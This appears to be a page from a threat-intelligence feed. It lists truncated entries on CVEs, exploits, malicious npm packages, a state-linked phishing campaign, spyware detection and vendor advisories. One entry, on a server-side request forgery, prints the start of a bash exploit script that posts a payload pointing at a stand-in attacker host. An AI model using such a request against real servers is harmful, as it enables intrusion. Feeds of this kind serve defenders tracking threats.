Exploit for Injection in Atlassian Confluence_Data_Center

CVE-2023-22527 - RCE Remote Code Execution Vulnerability In...

MAL-2024-141 Malicious code in lunar-sb.js (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 387a2f7e6dc2c3022b63ec2ea875bfdbcc6ee0fd07b1ff68475859ea718566d5 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Exploit for Improper Authentication in Ivanti Connect_Secure

🚨 CVE-2023-46805 Scanner Tool 🛠️ A robust tool for detecting...

Qnap VioStor Detection

Binary data qnapviostordetect.nbin...

CVE-2023-51258

creationtimestamp| type| source ---|---|--- 2024-01-18 22:21:32+00:00| seen| https://t.me/ctinow/169966 2024-01-19 13:51:29+00:00| seen| https://t.me/ctinow/170199 2024-01-25 08:16:56+00:00| seen| https://t.me/ctinow/173311 2024-02-12 14:41:49+00:00| seen| https://t.me/ctinow/183124...

CVE-2024-20270

creationtimestamp| type| source ---|---|--- 2024-01-17 18:27:26+00:00| seen| https://t.me/ctinow/169407 2024-01-28 18:01:41+00:00| seen| https://t.me/ctinow/174987...

New TTPs observed in Mint Sandstorm campaign targeting high-profile individuals at universities and research orgs

Since November 2023, Microsoft has observed a distinct subset of Mint Sandstorm PHOSPHORUS targeting high-profile individuals working on Middle Eastern affairs at universities and research organizations in Belgium, France, Gaza, Israel, the United Kingdom, and the United States. In this campaign,...

New iShutdown Method Exposes Hidden Spyware Like Pegasus on Your iPhone

Cybersecurity researchers have identified a "lightweight method" called iShutdown for reliably identifying signs of spyware on Apple iOS devices, including notorious threats like NSO Group's Pegasus, QuaDream's Reign, and Intellexa's Predator. Kaspersky, which analyzed a set of iPhones that were...

CVE-2023-51742

creationtimestamp| type| source ---|---|--- 2024-01-17 09:27:07+00:00| seen| https://t.me/ctinow/169169 2024-02-10 14:46:07+00:00| seen| https://t.me/ctinow/182555...

CL-Signatures Revocation Scheme in Ursa has flaws that allow a holder to demonstrate non-revocation of a revoked credential

Summary The revocation schema that is part of the Ursa CL-Signatures implementations has a flaw that could impact the privacy guarantees defined by the AnonCreds verifiable credential model, allowing a malicious holder of a revoked credential to generate a valid Non-Revocation Proof for that...

“I’ll miss him so much” Facebook scam uses BBC branding to lure victims

Facebook scams are a constant nuisance and vary from like-farming to scams that can cost you some serious money. The latest one we found is a bit morbid. Recently, I’ve seen quite a few posts on my timeline that looked like this: Without going into details the post says: “I can’t believe he’s gon...

Trend Micro Apex One elevation of privilege vulnerability (CNVD-2024-04945)

Trend Micro Apex One is the U.S. Trend Micro Trend Micro company's suite of endpoint security protection software that provides automated threat detection and response capabilities. An elevation of privilege vulnerability exists in Trend Micro Apex One, which can be exploited by a local attacker ...

Trend Micro Apex One elevation of privilege vulnerability (CNVD-2024-04943)

Trend Micro Apex One is the U.S. Trend Micro Trend Micro company's suite of endpoint security protection software that provides automated threat detection and response capabilities. An elevation of privilege vulnerability exists in Trend Micro Apex One, which can be exploited by a local attacker ...

Trend Micro Apex One elevation of privilege vulnerability (CNVD-2024-04942)

Trend Micro Apex One is the U.S. Trend Micro Trend Micro company's suite of endpoint security protection software that provides automated threat detection and response capabilities. An elevation of privilege vulnerability exists in Trend Micro Apex One, which can be exploited by a local attacker ...

Trend Micro Apex One elevation of privilege vulnerability (CNVD-2024-04944)

Trend Micro Apex One is the U.S. Trend Micro Trend Micro company's suite of endpoint security protection software that provides automated threat detection and response capabilities. An elevation of privilege vulnerability exists in Trend Micro Apex One, which can be exploited by a local attacker ...

HaoKeKeJi YiQiNiu Server-Side Request Forgery

!/bin/bash Set target URL and payload targeturl="http://example.com/application/pay/controller/Api.php" payload="url=http://evil-server.com/exploit" Send the malicious request response=$curl -s -X POST -d "$payload" "$targeturl" Check if the exploit was successful if echo "$response" | grep -q...

Malicious code in wdpr-device-detection (npm)

--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis 0e68ddd57d0cced6084c7770f4e48230e223d896f927b8952e4cf5d05caa721f The OpenSSF Package Analysis project identified 'wdpr-device-detection' @ 24.7.16 npm as malicious. It is considered malicious because: - The...

MAL-2024-92 Malicious code in wdpr-device-detection (npm)

--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis 0e68ddd57d0cced6084c7770f4e48230e223d896f927b8952e4cf5d05caa721f The OpenSSF Package Analysis project identified 'wdpr-device-detection' @ 24.7.16 npm as malicious. It is considered malicious because: - The...

Exploit for Improper Authentication in Ivanti Connect_Secure

CVE-2023-46805 Scanner CVE-2023-46805 Scanner for possible...

Design/Logic Flaw

Wazuh is a free and open source platform used for threat prevention, detection, and response. This bug introduced a stack overflow hazard that could allow a local privilege escalation. This vulnerability was patched in version 4.5.3...